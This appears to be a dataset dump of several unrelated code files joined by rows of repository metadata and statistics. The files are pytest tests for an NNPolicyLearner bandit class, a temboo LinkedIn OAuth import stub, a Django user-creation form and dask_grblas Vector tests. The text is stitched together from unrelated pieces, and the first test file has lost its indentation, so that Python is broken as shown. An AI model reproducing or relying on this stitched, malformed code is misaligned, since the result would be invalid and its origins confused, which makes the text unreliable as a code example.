action = np.zeros((100,), dtype=int)
reward = np.ones((100,), dtype=np.float32)
pscore = np.array([0.5] * 100, dtype=np.float32)
ipw = InverseProbabilityWeighting()
# inconsistency with the shape
with pytest.raises(ValueError):
learner = NNPolicyLearner(
n_actions=2,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
variant_context = np.ones((101, 2), dtype=np.float32)
learner.fit(
context=variant_context, action=action, reward=reward, pscore=pscore
)
# inconsistency between dim_context and context
with pytest.raises(ValueError):
learner = NNPolicyLearner(
n_actions=2,
dim_context=3,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
learner.fit(context=context, action=action, reward=reward, pscore=pscore)
def test_nn_policy_learner_predict():
n_actions = 2
len_list = 1
context = np.ones((100, 2), dtype=np.float32)
context_test = np.array([i for i in range(10)], dtype=np.float32).reshape(5, 2)
action = np.zeros((100,), dtype=int)
reward = np.ones((100,), dtype=np.float32)
pscore = np.array([0.5] * 100, dtype=np.float32)
ipw = InverseProbabilityWeighting()
# shape error
with pytest.raises(ValueError):
learner = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
learner.fit(context=context, action=action, reward=reward, pscore=pscore)
invalid_context = np.array([1.0, 1.0], dtype=np.float32)
learner.predict(context=invalid_context)
# inconsistency between dim_context and context
with pytest.raises(ValueError):
learner = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
learner.fit(context=context, action=action, reward=reward, pscore=pscore)
invalid_context = np.array([[1.0, 1.0, 1.0]], dtype=np.float32)
learner.predict(context=invalid_context)
# shape consistency of action_dist
# n_rounds is 5, dim_context is 2
learner = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
learner.fit(context=context, action=action, reward=reward, pscore=pscore)
action_dist = learner.predict(context=context_test)
assert np.allclose(
action_dist.sum(1), np.ones_like((context_test.shape[0], len_list))
)
assert action_dist.shape[0] == 5
assert action_dist.shape[1] == n_actions
assert action_dist.shape[2] == len_list
def test_nn_policy_learner_sample_action():
n_actions = 2
len_list = 1
context = np.ones((100, 2), dtype=np.float32)
context_test = np.array([i for i in range(10)], dtype=np.float32).reshape(5, 2)
action = np.zeros((100,), dtype=int)
reward = np.ones((100,), dtype=np.float32)
pscore = np.array([0.5] * 100, dtype=np.float32)
ipw = InverseProbabilityWeighting()
# shape error
with pytest.raises(ValueError):
learner = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
learner.fit(context=context, action=action, reward=reward, pscore=pscore)
invalid_context = np.array([1.0, 1.0], dtype=np.float32)
learner.sample_action(context=invalid_context)
# inconsistency between dim_context and context
with pytest.raises(ValueError):
learner = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
learner.fit(context=context, action=action, reward=reward, pscore=pscore)
invalid_context = np.array([[1.0, 1.0, 1.0]], dtype=np.float32)
learner.sample_action(context=invalid_context)
learner = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
learner.fit(context=context, action=action, reward=reward, pscore=pscore)
action_dist = learner.sample_action(context=context_test)
assert np.allclose(
action_dist.sum(1), np.ones_like((context_test.shape[0], len_list))
)
assert action_dist.shape[0] == context_test.shape[0]
assert action_dist.shape[1] == n_actions
assert action_dist.shape[2] == len_list
def test_nn_policy_learner_predict_proba():
n_actions = 2
len_list = 1
context = np.ones((100, 2), dtype=np.float32)
context_test = np.array([i for i in range(10)], dtype=np.float32).reshape(5, 2)
action = np.zeros((100,), dtype=int)
reward = np.ones((100,), dtype=np.float32)
pscore = np.array([0.5] * 100, dtype=np.float32)
ipw = InverseProbabilityWeighting()
# shape error
with pytest.raises(ValueError):
learner = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
learner.fit(context=context, action=action, reward=reward, pscore=pscore)
invalid_context = np.array([1.0, 1.0], dtype=np.float32)
learner.predict_proba(context=invalid_context)
# inconsistency between dim_context and context
with pytest.raises(ValueError):
learner = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
learner.fit(context=context, action=action, reward=reward, pscore=pscore)
invalid_context = np.array([[1.0, 1.0, 1.0]], dtype=np.float32)
learner.predict_proba(context=invalid_context)
learner = NNPolicyLearner(
n_actions=n_actions,
len_list=len_list,
dim_context=2,
off_policy_objective=ipw.estimate_policy_value_tensor,
)
learner.fit(context=context, action=action, reward=reward, pscore=pscore)
action_dist = learner.predict_proba(context=context_test)
assert np.allclose(
action_dist.sum(1), np.ones_like((context_test.shape[0], len_list))
)
assert action_dist.shape[0] == context_test.shape[0]
assert action_dist.shape[1] == n_actions
assert action_dist.shape[2] == len_list
| 23.585242
| 309
| 0.539468
| 3,368
| 27,807
| 4.249406
| 0.057007
| 0.010061
| 0.01069
| 0.058413
| 0.874581
| 0.833566
| 0.82071
| 0.796954
| 0.770961
| 0.750699
| 0
| 0.090561
| 0.35153
| 27,807
| 1,178
| 310
| 23.605263
| 0.703139
| 0.019995
| 0
| 0.842202
| 0
| 0.001835
| 0.069739
| 0.001542
| 0
| 0
| 0
| 0
| 0.029358
| 1
| 0.011927
| false
| 0
| 0.009174
| 0
| 0.021101
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2ac2a8f22550608994d7832c17ddf3ba9058da3b
| 316
|
py
|
Python
|
temboo/core/Library/LinkedIn/OAuth/__init__.py
|
jordanemedlock/psychtruths
|
52e09033ade9608bd5143129f8a1bfac22d634dd
|
[
"Apache-2.0"
] | 7
|
2016-03-07T02:07:21.000Z
|
2022-01-21T02:22:41.000Z
|
temboo/core/Library/LinkedIn/OAuth/__init__.py
|
jordanemedlock/psychtruths
|
52e09033ade9608bd5143129f8a1bfac22d634dd
|
[
"Apache-2.0"
] | null | null | null |
temboo/core/Library/LinkedIn/OAuth/__init__.py
|
jordanemedlock/psychtruths
|
52e09033ade9608bd5143129f8a1bfac22d634dd
|
[
"Apache-2.0"
] | 8
|
2016-06-14T06:01:11.000Z
|
2020-04-22T09:21:44.000Z
|
from temboo.Library.LinkedIn.OAuth.FinalizeOAuth import FinalizeOAuth, FinalizeOAuthInputSet, FinalizeOAuthResultSet, FinalizeOAuthChoreographyExecution
from temboo.Library.LinkedIn.OAuth.InitializeOAuth import InitializeOAuth, InitializeOAuthInputSet, InitializeOAuthResultSet, InitializeOAuthChoreographyExecution
| 105.333333
| 162
| 0.911392
| 22
| 316
| 13.090909
| 0.636364
| 0.069444
| 0.118056
| 0.173611
| 0.208333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.044304
| 316
| 2
| 163
| 158
| 0.953642
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 1
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
2adf4abbaebb893f9bc415abfbe251748e893606
| 244
|
py
|
Python
|
ARCIT/forms.py
|
s0hailAnsari/ARCIT
|
b1d6a0596efaa887a498c518e6a387adc7ec12c6
|
[
"MIT"
] | null | null | null |
ARCIT/forms.py
|
s0hailAnsari/ARCIT
|
b1d6a0596efaa887a498c518e6a387adc7ec12c6
|
[
"MIT"
] | 20
|
2021-04-19T11:31:48.000Z
|
2021-09-07T07:51:10.000Z
|
ARCIT/forms.py
|
s0hailAnsari/ARCIT
|
b1d6a0596efaa887a498c518e6a387adc7ec12c6
|
[
"MIT"
] | null | null | null |
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth import get_user_model
class UserForm(UserCreationForm):
class Meta:
model = get_user_model()
fields = ('username', 'password1', 'password2', )
| 30.5
| 57
| 0.729508
| 28
| 244
| 6.214286
| 0.607143
| 0.114943
| 0.195402
| 0.241379
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009901
| 0.172131
| 244
| 7
| 58
| 34.857143
| 0.851485
| 0
| 0
| 0
| 0
| 0
| 0.106557
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.166667
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
6312766e3761dd32d0d83e567cfd63c8e457c86b
| 72,538
|
py
|
Python
|
tests/test_vector.py
|
metagraph-dev/dask-grblas
|
0d16c008af87b96d4dd55d915c0bec24ef85df24
|
[
"Apache-2.0"
] | 3
|
2021-12-18T03:21:12.000Z
|
2022-01-08T13:49:26.000Z
|
tests/test_vector.py
|
metagraph-dev/dask-grblas
|
0d16c008af87b96d4dd55d915c0bec24ef85df24
|
[
"Apache-2.0"
] | 7
|
2021-12-16T21:36:51.000Z
|
2022-03-21T16:52:05.000Z
|
tests/test_vector.py
|
metagraph-dev/dask-grblas
|
0d16c008af87b96d4dd55d915c0bec24ef85df24
|
[
"Apache-2.0"
] | 5
|
2021-12-16T17:04:52.000Z
|
2022-02-02T19:00:32.000Z
|
import inspect
import grblas as gb
import pytest
from grblas import dtypes
from pytest import raises
import dask.array as da
import dask_grblas as dgb
from .utils import compare
@pytest.fixture
def vs():
v = gb.Vector.from_values([0, 1, 2, 4, 5], [0, -20, 30, 40, 50])
dv0 = dgb.Vector.from_vector(v)
dv1 = dgb.concat_vectors(
[
dgb.Vector.from_vector(gb.Vector.from_values([0, 1, 2], [0, -20, 30])),
dgb.Vector.from_vector(gb.Vector.from_values([1, 2], [40, 50])),
]
)
dv2 = dgb.concat_vectors(
[
dgb.concat_vectors(
[
dgb.Vector.from_vector(gb.Vector.from_values([0], [0])),
dgb.Vector.from_vector(gb.Vector.from_values([0, 1], [-20, 30])),
]
),
dgb.Vector.from_vector(gb.Vector.from_values([1, 2], [40, 50])),
]
)
return v, (dv0, dv1, dv2)
@pytest.fixture
def ws():
w = gb.Vector.from_values([0, 1, 3, 4, 5], [1.0, 2.0, 3.0, -4.0, 0.0])
dw0 = dgb.Vector.from_vector(w)
dw1 = dgb.concat_vectors(
[
dgb.Vector.from_vector(gb.Vector.from_values([0, 1], [1.0, 2.0])),
dgb.Vector.from_vector(gb.Vector.from_values([1, 2, 3], [3.0, -4.0, 0.0])),
]
)
return w, (dw0, dw1)
@pytest.fixture
def vms():
val_mask = gb.Vector.from_values(
[0, 1, 2, 3, 4, 5], [True, False, False, True, True, False], size=6
)
dvm0 = dgb.Vector.from_vector(val_mask)
dvm1 = dgb.concat_vectors(
[
dgb.Vector.from_vector(gb.Vector.from_values([0, 1], [True, False])),
dgb.Vector.from_vector(
gb.Vector.from_values([0, 1, 2, 3], [False, True, True, False], size=4)
),
]
)
return val_mask, (dvm0, dvm1)
@pytest.fixture
def sms():
struct_mask = gb.Vector.from_values([0, 3, 4], [False, False, False], size=6)
dsm0 = dgb.Vector.from_vector(struct_mask)
dsm1 = dgb.concat_vectors(
[
dgb.Vector.from_vector(gb.Vector.from_values([0], [False], size=2)),
dgb.Vector.from_vector(gb.Vector.from_values([1, 2], [False, False], size=4)),
]
)
return struct_mask, (dsm0, dsm1)
def test_new():
v = gb.Vector.new(int)
dv = dgb.Vector.new(int)
compare(lambda x: x, v, dv)
compare(lambda x: x.size, v, dv, compute=False)
compare(lambda x: x.shape, v, dv, compute=False)
v = gb.Vector.new(float, 3)
dv = dgb.Vector.new(float, 3)
compare(lambda x: x, v, dv)
compare(lambda x: x.size, v, dv, compute=False)
compare(lambda x: x.shape, v, dv, compute=False)
o = object()
compare(lambda x, y: type(x).new(y), (v, o), (dv, o), errors=True)
def test_from_values():
n = 100
I = da.arange(n, chunks=10)
f = lambda module, arr: module.Vector.from_values(arr, arr, name="arange")
compare(f, (gb, I.compute()), (dgb, I))
I = [0, 1, 3, 4, 5]
V = [1.0, 2.0, 3.0, -4.0, 0.0]
I_da = da.from_array(I, chunks=3)
V_da = da.from_array(V, chunks=2)
f = lambda module, i, v, kwargs: module.Vector.from_values(
i, v, name="test-from-values", **kwargs
)
compare(f, (gb, I, V, {}), (dgb, I_da, V_da, {}))
compare(f, (gb, I, V, {}), (dgb, I_da, V_da, {"chunks": 3}))
def test_to_values(vs, ws):
(v, dvs) = vs
(w, dws) = ws
def f0(v):
return v.to_values()[0]
def f1(v):
return v.to_values()[1]
for dv in dvs:
compare(f0, v, dv)
compare(f1, v, dv)
for dw in dws:
compare(f0, w, dw)
compare(f1, w, dw)
def test_dup(vs):
v, dvs = vs
for dv in dvs:
compare(lambda x: x.dup(), v, dv)
compare(lambda x: x.dup(dtype=dtypes.FP64), v, dv)
o = object()
compare(lambda x, y: x.dup(y), (v, o), (dv, o), errors=True)
compare(lambda x: x.dup(mask=1), v, dv, errors=True)
with raises(TypeError):
dv.dup(mask=v.S)
@pytest.mark.slow
def test_isequal_isclose(vs, ws):
o = object()
for method_name in ["isequal", "isclose"]:
v = vs[0]
w = ws[0]
for dv in vs[1]:
compare(lambda x, y: getattr(x, method_name)(y), (v, v), (dv, dv))
compare(lambda x: getattr(x, method_name)(o), v, dv, errors=True)
for dw in ws[1]:
compare(lambda x, y: getattr(x, method_name)(y), (v, w), (dv, dw))
def test_nvals(vs):
v, dvs = vs
for dv in dvs:
compare(lambda x: x.nvals, v, dv)
v = gb.Vector.new(int)
dv = dgb.Vector.new(int)
compare(lambda x: x.nvals, v, dv)
def test_clear(vs):
def f(x):
x.clear()
return x
v, dvs = vs
compare(f, v, dvs[0])
def test_ewise(vs, ws):
v = vs[0]
w = ws[0]
binfunc = lambda x, y: getattr(x, method_name)(y, op, require_monoid=False).new()
for op in [gb.monoid.plus, gb.binary.plus]:
for method_name in ["ewise_add", "ewise_mult"]:
def f(w, x, y):
w << getattr(x, method_name)(y, op)
return w
# errors = method_name == 'ewise_add' and op is gb.binary.plus
errors = False
compute = not errors
funcs = [
lambda x, y: getattr(x, method_name)(y, op).new(),
lambda x, y: getattr(x, method_name)(y, op).new(dtype=dtypes.FP64),
lambda x, y: getattr(x, method_name)(y, op).new(mask=y.S),
lambda x, y: getattr(x, method_name)(y, op).new(mask=y.V),
lambda x, y: getattr(x, method_name)(y, op).new(mask=~x.S),
lambda x, y: getattr(x, method_name)(y, op).new(mask=~x.V),
]
for dv in vs[1]:
for index, func in enumerate(funcs):
compare(func, (v, v), (dv, dv), errors=errors, compute=compute)
if method_name == "ewise_add":
compare(binfunc, (v, v), (dv, dv))
compare(
f,
(v.dup(), v, v),
(dv.dup(), dv, dv),
errors=errors,
compute=compute,
)
for dw in ws[1]:
for func in funcs:
compare(func, (v, w), (dv, dw), errors=errors, compute=compute)
if method_name == "ewise_add":
compare(binfunc, (v, v), (dv, dv))
compare(
f,
(v.dup(), v, w),
(dv.dup(), dv, dw),
errors=errors,
compute=compute,
)
compare(
f,
(w.dup(), v, w),
(dw.dup(), dv, dw),
errors=errors,
compute=compute,
)
def test_reduce(vs):
v, dvs = vs
def f0(x, y):
x << y.reduce()
return x
def f1(x, y):
x() << y.reduce()
return x
def f2(x, y):
x(accum=gb.binary.plus) << y.reduce()
return x
for dv in dvs:
compare(lambda x: x.reduce().new(), v, dv)
compare(lambda x: x.reduce(gb.monoid.max).new(), v, dv)
compare(lambda x: x.reduce().new(dtype=dtypes.FP64), v, dv)
compare(lambda x: x.reduce(gb.binary.plus).new(), v, dv)
for i, f in enumerate([f0, f1, f2]):
s = gb.Scalar.new(int)
ds = dgb.Scalar.from_value(s.dup())
compare(f, (s, v), (ds, dv))
s = gb.Scalar.from_value(100)
ds = dgb.Scalar.from_value(s.dup())
compare(f, (s, v), (ds, dv))
s = gb.Scalar.new(float)
ds = dgb.Scalar.from_value(s.dup())
compare(f, (s, v), (ds, dv))
s = gb.Scalar.from_value(1.23)
ds = dgb.Scalar.from_value(s.dup())
compare(f, (s, v), (ds, dv))
def test_apply(vs):
v, dvs = vs
def f(x):
y = type(x).new(x.dtype, x.size)
y << x.apply(gb.unary.abs)
return y
def g(x, scalar=1):
y = type(x).new(x.dtype, x.size)
y << x.apply(gb.binary.gt, right=scalar)
return y
def h(x, scalar=2):
y = type(x).new(x.dtype, x.size)
y << x.apply(gb.binary.minus, left=scalar)
return y
def i(x, scalar=1):
y = type(x).new(x.dtype, x.size)
y << x.apply(gb.binary.plus, left=scalar)
return y
def j(x, scalar=1):
y = type(x).new(x.dtype, x.size)
y << x.apply(gb.monoid.plus, left=scalar)
return y
def k(x, scalar=1):
y = type(x).new(x.dtype, x.size)
y << x.apply(gb.monoid.plus, right=scalar)
return y
for dv in dvs:
compare(lambda x: x.apply(gb.unary.abs).new(), v, dv)
compare(lambda x: x.apply(gb.unary.abs).new(dtype=float), v, dv)
compare(lambda x: x.apply(gb.binary.plus).new(), v, dv, errors=True)
compare(f, v.dup(), dv.dup())
compare(lambda x: x.apply(gb.binary.gt, right=1).new(), v, dv)
compare(lambda x: x.apply(gb.binary.gt, right=1).new(dtype=float), v, dv)
compare(g, v.dup(), dv.dup())
s = gb.Scalar.from_value(1)
ds = dgb.Scalar.from_value(s)
compare(
lambda x, s: x.apply(gb.binary.gt, right=s).new(dtype=float),
(v, s),
(dv, ds),
)
compare(g, (v.dup(), s), (dv.dup(), ds))
compare(lambda x: x.apply(gb.binary.minus, left=2).new(), v, dv)
compare(lambda x: x.apply(gb.binary.minus, left=2).new(dtype=float), v, dv)
compare(h, v.dup(), dv.dup())
s = gb.Scalar.from_value(2)
ds = dgb.Scalar.from_value(s)
compare(
lambda x, s: x.apply(gb.binary.minus, left=s).new(dtype=float),
(v, s),
(dv, ds),
)
compare(h, (v.dup(), s), (dv.dup(), ds))
compare(lambda x: x.apply(gb.binary.plus, left=1).new(), v, dv)
compare(lambda x: x.apply(gb.binary.plus, left=1).new(dtype=float), v, dv)
compare(i, v.dup(), dv.dup())
s = gb.Scalar.from_value(1)
ds = dgb.Scalar.from_value(s)
compare(
lambda x, s: x.apply(gb.binary.minus, left=s).new(dtype=float),
(v, s),
(dv, ds),
)
compare(i, (v.dup(), s), (dv.dup(), ds))
compare(lambda x: x.apply(gb.monoid.plus, left=1).new(), v, dv)
compare(lambda x: x.apply(gb.monoid.plus, left=1).new(dtype=float), v, dv)
compare(j, v.dup(), dv.dup())
s = gb.Scalar.from_value(1)
ds = dgb.Scalar.from_value(s)
compare(
lambda x, s: x.apply(gb.binary.minus, left=s).new(dtype=float),
(v, s),
(dv, ds),
)
compare(j, (v.dup(), s), (dv.dup(), ds))
compare(lambda x: x.apply(gb.monoid.plus, right=1).new(), v, dv)
compare(lambda x: x.apply(gb.monoid.plus, right=1).new(dtype=float), v, dv)
compare(k, v.dup(), dv.dup())
s = gb.Scalar.from_value(1)
ds = dgb.Scalar.from_value(s)
compare(
lambda x, s: x.apply(gb.binary.minus, right=s).new(dtype=float),
(v, s),
(dv, ds),
)
compare(k, (v.dup(), s), (dv.dup(), ds))
def test_update(vs, ws):
v, dvs = vs
w, dws = ws
def f0(x, y):
x.update(y)
return x
def f1(x, y):
x << y
return x
def f2(x, y):
x().update(y)
return x
def f3(x, y):
x(y.S) << y
return x
def f4(x, y):
x(y.V) << y
return x
def f5(x, y):
x(accum=gb.binary.plus).update(y)
return x
for f in [f0, f1, f2, f3, f4, f5]:
for dv in dvs:
for dw in dws:
compare(f, (v.dup(), w.dup()), (dv.dup(), dw.dup()))
compare(f, (v.dup(dtype=float), w.dup()), (dv.dup(dtype=float), dw.dup()))
@pytest.mark.slow
def test_extract(vs, ws, vms, sms):
v, dvs = vs
w, dws = ws
vm, dvms = vms
sm, dsms = sms
for index in [
slice(None),
[0, 3, 1, 4, 2, 5],
[0, 5, 5, 1, 2, 0],
slice(None, None, -1),
[0] * 6,
]:
def f1(x, y):
x << y[index]
return x
def f2(x, y):
x() << y[index]
return x
def g1(m, x, y):
x(mask=m) << y[index]
return x
def g2(x, y):
x(accum=gb.binary.plus) << y[index]
return x
def g3(x, y):
x(replace=True) << y[index]
return x
def g4(x, y):
x(replace=False) << y[index]
return x
def h1(x, y):
x(accum=gb.binary.plus, replace=True) << y[index]
return x
def h2(x, y):
x(accum=gb.binary.plus, replace=False) << y[index]
return x
def h3(m, x, y):
x(mask=m, replace=True) << y[index]
return x
def h4(m, x, y):
x(mask=m, replace=False) << y[index]
return x
def h5(m, x, y):
x(mask=m, accum=gb.binary.plus) << y[index]
return x
def i1(m, x, y):
x(mask=m, accum=gb.binary.plus, replace=True) << y[index]
return x
def i2(m, x, y):
x(mask=m, accum=gb.binary.plus, replace=False) << y[index]
return x
for dv in dvs:
compare(lambda x: x[index].new(), v, dv)
compare(lambda x: x[index].new(dtype=float), v, dv)
for dw in dws:
compare(f1, (v.dup(), w), (dv.dup(), dw))
compare(f1, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(f2, (v.dup(), w), (dv.dup(), dw))
compare(f2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(g2, (v.dup(), w), (dv.dup(), dw))
compare(g2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(g3, (v.dup(), w), (dv.dup(), dw), errors=True)
compare(g3, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw), errors=True)
compare(g4, (v.dup(), w), (dv.dup(), dw))
compare(g4, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
compare(h1, (v.dup(), w), (dv.dup(), dw), errors=True)
compare(h1, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw), errors=True)
compare(h2, (v.dup(), w), (dv.dup(), dw))
compare(h2, (v.dup(dtype=float), w), (dv.dup(dtype=float), dw))
for dvm in dvms:
compare(g1, (vm.V, v.dup(), w), (dvm.V, dv.dup(), dw))
compare(
g1,
(vm.V, v.dup(dtype=float), w),
(dvm.V, dv.dup(dtype=float), dw),
)
compare(lambda m, x: x[index].new(mask=m), (vm.V, w), (dvm.V, dw))
compare(
lambda m, x: x[index].new(mask=m, dtype=float),
(vm.V, w),
(dvm.V, dw),
)
compare(h3, (vm.V, v.dup(), w), (dvm.V, dv.dup(), dw))
compare(
h3,
(vm.V, v.dup(dtype=float), w),
(dvm.V, dv.dup(dtype=float), dw),
)
compare(
lambda m, x: x[index].new(mask=m, replace=True),
(vm.V, w),
(dvm.V, dw),
errors=True,
)
compare(
lambda m, x: x[index].new(mask=m, replace=True, dtype=float),
(vm.V, w),
(dvm.V, dw),
errors=True,
)
compare(h4, (vm.V, v.dup(), w), (dvm.V, dv.dup(), dw))
compare(
h4,
(vm.V, v.dup(dtype=float), w),
(dvm.V, dv.dup(dtype=float), dw),
)
compare(
lambda m, x: x[index].new(mask=m, replace=False),
(vm.V, w),
(dvm.V, dw),
errors=True,
)
compare(
lambda m, x: x[index].new(mask=m, replace=False, dtype=float),
(vm.V, w),
(dvm.V, dw),
errors=True,
)
compare(h5, (vm.V, v.dup(), w), (dvm.V, dv.dup(), dw))
compare(
h5,
(vm.V, v.dup(dtype=float), w),
(dvm.V, dv.dup(dtype=float), dw),
)
compare(
lambda m, x: x[index].new(mask=m, accum=gb.binary.plus),
(vm.V, w),
(dvm.V, dw),
errors=True,
)
compare(
lambda m, x: x[index].new(mask=m, accum=gb.binary.plus, dtype=float),
(vm.V, w),
(dvm.V, dw),
errors=True,
)
compare(i1, (vm.V, v.dup(), w), (dvm.V, dv.dup(), dw))
compare(
i1,
(vm.V, v.dup(dtype=float), w),
(dvm.V, dv.dup(dtype=float), dw),
)
compare(
lambda m, x: x[index].new(mask=m, accum=gb.binary.plus, replace=True),
(vm.V, w),
(dvm.V, dw),
errors=True,
)
compare(
lambda m, x: x[index].new(
mask=m, accum=gb.binary.plus, replace=True, dtype=float
),
(vm.V, w),
(dvm.V, dw),
errors=True,
)
compare(i2, (vm.V, v.dup(), w), (dvm.V, dv.dup(), dw))
compare(
i2,
(vm.V, v.dup(dtype=float), w),
(dvm.V, dv.dup(dtype=float), dw),
)
compare(
lambda m, x: x[index].new(mask=m, accum=gb.binary.plus, replace=False),
(vm.V, w),
(dvm.V, dw),
errors=True,
)
compare(
lambda m, x: x[index].new(
mask=m, accum=gb.binary.plus, replace=False, dtype=float
),
(vm.V, w),
(dvm.V, dw),
errors=True,
)
for dsm in dsms:
compare(g1, (sm.S, v.dup(), w), (dsm.S, dv.dup(), dw))
compare(
g1,
(sm.S, v.dup(dtype=float), w),
(dsm.S, dv.dup(dtype=float), dw),
)
compare(lambda m, x: x[index].new(mask=m), (sm.S, w), (dsm.S, dw))
compare(
lambda m, x: x[index].new(mask=m, dtype=float),
(sm.S, w),
(dsm.S, dw),
)
compare(h3, (sm.S, v.dup(), w), (dsm.S, dv.dup(), dw))
compare(
h3,
(sm.S, v.dup(dtype=float), w),
(dsm.S, dv.dup(dtype=float), dw),
)
compare(
lambda m, x: x[index].new(mask=m, replace=True),
(sm.S, w),
(dsm.S, dw),
errors=True,
)
compare(
lambda m, x: x[index].new(mask=m, replace=True, dtype=float),
(sm.S, w),
(dsm.S, dw),
errors=True,
)
compare(h4, (sm.S, v.dup(), w), (dsm.S, dv.dup(), dw))
compare(
h4,
(sm.S, v.dup(dtype=float), w),
(dsm.S, dv.dup(dtype=float), dw),
)
compare(
lambda m, x: x[index].new(mask=m, replace=False),
(sm.S, w),
(dsm.S, dw),
errors=True,
)
compare(
lambda m, x: x[index].new(mask=m, replace=False, dtype=float),
(sm.S, w),
(dsm.S, dw),
errors=True,
)
compare(h5, (sm.S, v.dup(), w), (dsm.S, dv.dup(), dw))
compare(
h5,
(sm.S, v.dup(dtype=float), w),
(dsm.S, dv.dup(dtype=float), dw),
)
compare(
lambda m, x: x[index].new(mask=m, accum=gb.binary.plus),
(sm.S, w),
(dsm.S, dw),
errors=True,
)
compare(
lambda m, x: x[index].new(mask=m, accum=gb.binary.plus, dtype=float),
(sm.S, w),
(dsm.S, dw),
errors=True,
)
compare(i1, (sm.S, v.dup(), w), (dsm.S, dv.dup(), dw))
compare(
i1,
(sm.S, v.dup(dtype=float), w),
(dsm.S, dv.dup(dtype=float), dw),
)
compare(
lambda m, x: x[index].new(mask=m, accum=gb.binary.plus, replace=True),
(sm.S, w),
(dsm.S, dw),
errors=True,
)
compare(
lambda m, x: x[index].new(
mask=m, accum=gb.binary.plus, replace=True, dtype=float
),
(sm.S, w),
(dsm.S, dw),
errors=True,
)
compare(i2, (sm.S, v.dup(), w), (dsm.S, dv.dup(), dw))
compare(
i2,
(sm.S, v.dup(dtype=float), w),
(dsm.S, dv.dup(dtype=float), dw),
)
compare(
lambda m, x: x[index].new(mask=m, accum=gb.binary.plus, replace=False),
(sm.S, w),
(dsm.S, dw),
errors=True,
)
compare(
lambda m, x: x[index].new(
mask=m, accum=gb.binary.plus, replace=False, dtype=float
),
(sm.S, w),
(dsm.S, dw),
errors=True,
)
@pytest.mark.slow
def test_extract_da(vs, ws, vms, sms):
v, dvs = vs
w, dws = ws
vm, dvms = vms
sm, dsms = sms
index1_da = da.from_array([0, 3, 1, 4, 2, 5], chunks=((2, 2, 2),))
index2_da = da.from_array([0, 5, 5, 1, 2, 0], chunks=((2, 2, 2),))
index3_da = da.from_array([0] * 6, chunks=((2, 2, 2),))
for index in [
index1_da,
index2_da,
index3_da,
]:
ind = index.compute()
def f1(x, y, index):
x << y[index]
return x
def f2(x, y, index):
x() << y[index]
return x
def g1(m, x, y, index):
x(mask=m) << y[index]
return x
def g2(x, y, index):
x(accum=gb.binary.plus) << y[index]
return x
def g3(x, y, index):
x(replace=True) << y[index]
return x
def g4(x, y, index):
x(replace=False) << y[index]
return x
def h1(x, y, index):
x(accum=gb.binary.plus, replace=True) << y[index]
return x
def h2(x, y, index):
x(accum=gb.binary.plus, replace=False) << y[index]
return x
def h3(m, x, y, index):
x(mask=m, replace=True) << y[index]
return x
def h4(m, x, y, index):
x(mask=m, replace=False) << y[index]
return x
def h5(m, x, y, index):
x(mask=m, accum=gb.binary.plus) << y[index]
return x
def i1(m, x, y, index):
x(mask=m, accum=gb.binary.plus, replace=True) << y[index]
return x
def i2(m, x, y, index):
x(mask=m, accum=gb.binary.plus, replace=False) << y[index]
return x
for dv in dvs:
compare(lambda x, index: x[index].new(), (v, ind), (dv, index))
compare(lambda x, index: x[index].new(dtype=float), (v, ind), (dv, index))
for dw in dws:
compare(f1, (v.dup(), w, ind), (dv.dup(), dw, index))
compare(f1, (v.dup(dtype=float), w, ind), (dv.dup(dtype=float), dw, index))
compare(f2, (v.dup(), w, ind), (dv.dup(), dw, index))
compare(f2, (v.dup(dtype=float), w, ind), (dv.dup(dtype=float), dw, index))
compare(g2, (v.dup(), w, ind), (dv.dup(), dw, index))
compare(g2, (v.dup(dtype=float), w, ind), (dv.dup(dtype=float), dw, index))
